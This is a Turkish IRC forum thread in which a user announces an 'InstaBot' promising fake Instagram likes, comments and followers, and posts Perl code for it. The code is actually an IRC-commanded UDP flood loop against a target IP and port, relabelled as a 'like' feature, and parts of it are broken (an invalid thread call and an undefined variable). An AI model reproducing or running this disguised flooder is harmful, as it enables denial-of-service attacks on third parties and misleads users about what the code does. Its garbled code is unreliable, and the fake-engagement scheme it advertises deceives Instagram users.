IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası
  kral sohbet




3Beğeni(ler)
  • 1 Post By Tupac
  • 1 Post By bb
  • 1 Post By YellowLine

Yeni Konu aç Cevapla
 
LinkBack Seçenekler Stil
Alt 23 Eylül 2019, 15:31   #1
Çevrimdışı
InstaBot


sohbet


merhaba arkadaslar en yakin zamanda sizlere instaBot gedirecem insallah
suan da irc.dalnet.com #instagram kanalinda calisiyoruz kanalda !begeni instagram emre 100 begenu atacak !yourum emre yazinca degisik innstagram nickleri senin fotona 100 adet yorum yazacak !takipci emre 600 yazinca takipci gelecek az kaldi,,, arkadasla calsiiyorz cok eglecenguz bu arada bot perl bot perl dili ile yazilmistir.. arkadas kendisi amerikalidir ugrasiyorz
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
en yakin zamanda sizlere C+
print("sizleri seviyoruz")
merhaba arkadaslar en yakin zamanda sizlere instaBot gedirecem insallah
suan da irc.dalnet.com #instagram kanalinda calisiyoruz kanalda !begeni instagram emre 100 begenu atacak !yourum emre yazinca degisik innstagram nickleri senin fotona 100 adet yorum yazacak !takipci emre 600 yazinca takipci gelecek az kaldi,,, arkadasla calsiiyorz cok eglecenguz bu arada bot perl bot perl dili ile yazilmistir.. arkadas kendisi amerikalidir ugrasiyorz
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
en yakin zamanda sizlere C+
print("sizleri seviyoruz")
  Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
radyo44.com.tr
Alt 23 Eylül 2019, 15:37   #2
Çevrimdışı
bb
bb - ait Kullanıcı Resmi (Avatar)
Cevap: InstaBot




Fantastik bir düşünce, kolay gelsin umarım başarılı olur.

__________________
Yalnız kalmaktan o kadar korkuyorsun ki;
ihtiyacın olmayan insanlar biriktiriyorsun.
İhtiyacın olmayan insanları kaybetmemek için,

Kendin olmaktan vazgeçiyorsun...
  Alıntı ile Cevapla

Alt 23 Eylül 2019, 16:32   #3
Çevrimdışı
Cevap: InstaBot





Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.

__________________

Kullanıcı imzalarındaki bağlantı ve resimleri görebilmek için en az 20 mesaja sahip olmanız gerekir ya da üye girişi yapmanız gerekir.
  Alıntı ile Cevapla

Alt 23 Eylül 2019, 17:37   #4
Çevrimdışı
Cevap: InstaBot




arkadaslar fikir benimdi arkadaslda perl dili ile codlama yapiyor 1 hafta oldu insallah 2 hafta sonra link atarim cmd den perl instaBot yazmaniz yeterli olacak api de lazim bilgisayarinizde gerekli olanlar mysql ve windows icin Composer indirmeniz lazim cmd den anlatacam detaylari bot olsunda


--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:27 -->-> Daha önceki mesaj 16:12 --

# BOT for Instagram Begeni
# This Bot is based on this scripts
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# Object interface to socket communications
use IO::Socket;
# Perl interpreter-based threads
use threads;
use threads::shared;

# Thread used to run the subroutine
my $thr;
# Flag to stop the subroutine
my $interrupt :shared;

#IRC parameters
my $channel = '#instagram';
my $nick = 'instaBot';
my $user = 'instagram Begeni Bot BY UFUK';

# instagram Begeni subroutine (not a real function per se)

sub begeni
{
print "=> instagram Begeni Started\n";

# Local variables (to the enclosing block)
my ($ip, $port, $target_socket, $proto, $lower_bound, $rand, $size);

# Target host, port and channel
$ip = '192.168.1.1';
$port = 80;

# Converts the IP representation (from textual to packed binary)
$iaddr = inet_aton("$ip");

# Opens a socket
#$proto = getprotobyname("udp");
socket(target_socket, PF_INET, SOCK_DGRAM, 17);
#socket($target_socket, PF_INET, SOCK_DGRAM, $proto); #|| die "socket: $!";

# Begeni
while (1)
{
if ($interrupt) { print "=> Begeni Stopped\n"; return; }
# Sleeping for a fraction of a second keeps the script
# from running to 100 cpu usage.
#select(undef, undef, undef, 0.01);
#$lower_bound = 4;
#$rand = $lower_bound + int(rand(16));
$size = $rand x $rand x $rand;
send(target_socket, 0, $size, sockaddr_in($port, $iaddr));
}
}

# Creates a new client. Timeout is defined in seconds.
my $con = IO::Socket::INET->new(
PeerAddr => 'irc.dalnet.com',
PeerPort => '6667',
Proto => 'tcp',
Timeout => '30'
) or die "Error! $!\n";

# Join the IRC
print $con "USER $user \r\n";
print $con "NICK $nick r\n";
print $con "JOIN $channel\r\n";

# IRC connection loop
while (my $answer = <$con>)
{
# Show server reply
print $answer;

# Answer to ping requests (to keep connection alive)
if ($answer =~ m/^PING (.*?)$/gi)
{
print "Replying with PONG ".$1."\n";
print $con "PONG ".$1."\r\n";
}

# Starts the Begeni
if ($answer =~ /!Begeni/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :instagram Begeni is running...\r\n";
}
else
{
print $con "PRIVMSG $channel
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
egeni started!\r\n";
$interrupt = 0;
$thr = threads->create('Begeni sytsem start');
$thr->detach();
}
}

# Finishes the begeni
if ($answer =~ /!durdur/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
egeni durduldu!\r\n";
$interrupt = 1;
}
else
{
print $con "PRIVMSG $channel :Nothing to stop.\r\n";
}
}
}

--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:37 -->-> Daha önceki mesaj 16:27 --

[16:36] <ufuk> !durdur
[16:36] <instaBot> Nothing to stop.

  Alıntı ile Cevapla

Alt 08 Ekim 2019, 21:54   #5
Çevrimdışı
Cevap: InstaBot




mrb tupac acaba bot oldu mu merak ediyorum kolay gelsin

  Alıntı ile Cevapla

Alt 23 Mayıs 2020, 11:35   #6
Çevrimdışı
Cevap: InstaBot




kolay gelsin

__________________
Hayat fani....
  Alıntı ile Cevapla

Alt 23 Mayıs 2020, 12:20   #7
Çevrimdışı
Cevap: InstaBot




Phph bot noldu Bro...

__________________
Kızmıyorum artık; bakıyorum, seçiyorum, gülüyorum, geçiyorum...
  Alıntı ile Cevapla

Cevapla

Etiketler
:)

Seçenekler
Stil

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Açık
Refbacks are Açık